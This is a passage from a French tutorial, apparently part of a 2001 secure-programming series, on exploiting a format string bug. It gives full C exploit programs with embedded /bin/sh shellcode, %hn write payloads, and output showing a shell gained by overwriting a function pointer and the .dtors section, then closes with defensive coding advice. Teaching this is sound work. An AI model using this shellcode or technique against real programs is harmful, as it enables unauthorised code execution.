appel. Nous allons donc utiliser cette propriété dans le cadre de notre
exploit. Il nous suffit de modifier légèrement notre programme
build
pour qu'il s'appelle lui-même avant d'appeler
vuln
. Ainsi, nous disposerons de l'adresse précise de
argv
que nous utiliserons pour passer notre
shellcode :
/* build2.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Même fonction que dans build.c } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* adresse */ argv[2], atoi(argv[4])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; }
Nous déterminons, en fonction du nombre d'arguments, ce que nous
devons appeler. Pour lancer notre attaque, nous fournissons juste à
build2
l'adresse où nous voulons écrire et l'offset entre
cette adresse et le début du buffer. Nous n'avons plus à donner la
valeur car celle-ci est l'adresse du shellcode, que nous nous
efforçons justement de conserver constante.
Pour y parvenir, l'idée est de conserver une représentation identique
de la pile en mémoire
entre l'appel récursif de build2
et de
vuln
, ce qui explique que nous appelons quand même la
fonction build()
afin d'occuper le même espace
mémoire :
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 Avant formatage : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Pourquoi ceci n'a pas fonctionné ? Nous avons dit que nous devions
recréer une représentation identique de la pile en mémoire ... et nous
ne l'avons pas fait. En effet, argv[0]
(le nom du
programme) a changé et occupe moins de caractères. build2
occupe 6 octets, contre 4 pour vuln. Cette différence se retrouve dans
l'affichage précédent. L'adresse du shellcode lors du second appel de
build2
est donnée par
sc = 0xbffff88f
mais l'affichage de
argv[2]
dans vuln
nous donne
2 0xbffff891
, soit la différence de 2 octets
prévue !Pour résoudre ceci, il suffit de renomer
build2
en bui2
:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 Avant formatage : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0xbffff891 (0xbffff634) bash$
Et hop ! Ça marche tout de suite mieux. Nous plaçons le shellcode
dans la pile et nous modifions l'adresse contenu dans
ptrf
pour aller pointer sur le shellcode et l'exécuter
(ceci suppose que la pile soit exécutable... ). Mais comme nous
l'avons vu, les chaînes de format nous permettent d'écrire n'importe
où : ajoutons donc un destructeur dans la section
.dtors
:
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ÆÄ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ÆÄ%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 Avant formatage : ptrf() = 0x80486c4 (0xbffff634) buffer = [ÆÄ00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
A la différence de nos précédentes modifications de la section
.dtors
, le programme ne génère pas de coredump lorsque
nous quittons le shell si difficilement acquis. Ceci provient de la
présence du exit(0)
dans notre shellcode.
Pour conclure, en guise de cerise sur le gâteau, voici
build3.c
qui fait exactement la même chose, en passant le
shellcode dans l'environnement via une variable :
/* build3.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Même fonction que dans build.c } int main(int argc, char **argv) { char **env; char **arg; unsigned char *buf; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; env = (char **) malloc(sizeof(char *) * 4); env[0]=&shellcode; env[1]=argv[1]; env[2]=argv[2]; env[3]=NULL; execve(argv[0],arg,env); } else if(argc==2) { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", environ[0]); buf = build(strtoul(environ[1], NULL, 16), /* adresse */ environ[0], atoi(environ[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; execve("./vuln",arg,environ); } return 0; }
Là encore, comme cet environnement se situe dans la pile, il faut
prendre garde à ne pas modifier les positions des arguments et des
variables. Le binaire devra donc comporter le même nombre de
caractères que vuln
.
Nous utilisons la variable extern char **environ
pour
transmettre les arguments dont nous avons besoin :
environ[0]
: le shellcode ;
environ[1]
: l'adresse où écrire ;
environ[2]
: l'offset.
"%s"
dans l'invocation des routines
comme printf()
, syslog()
, etc.
Si vous ne pouvez vraiment pas faire
autrement, il faut alors vérifier très soigneusement l'entrée fournie
par l'utilisateur (cf. article 3 de cette série).
exec()
:),
ses encouragements... et surtout pour son
article sur les chaînes de format qui a provoqué, outre notre intérêt
pour la question, une agitation cérébrale intense ;-)
Nous avons également une grande dette envers Georges Tarbouriech pour toutes les traductions qu'il fait de nos articles.
printf("Hello
world\n");
Christophe BLAESS - ccb@club-internet.fr Christophe GRENIER - grenier@cgsecurity.org Frédéreric RAYNAL - pappy@users.sourceforge.net
Last modified: Fri Feb 16 10:49:47 CET 2001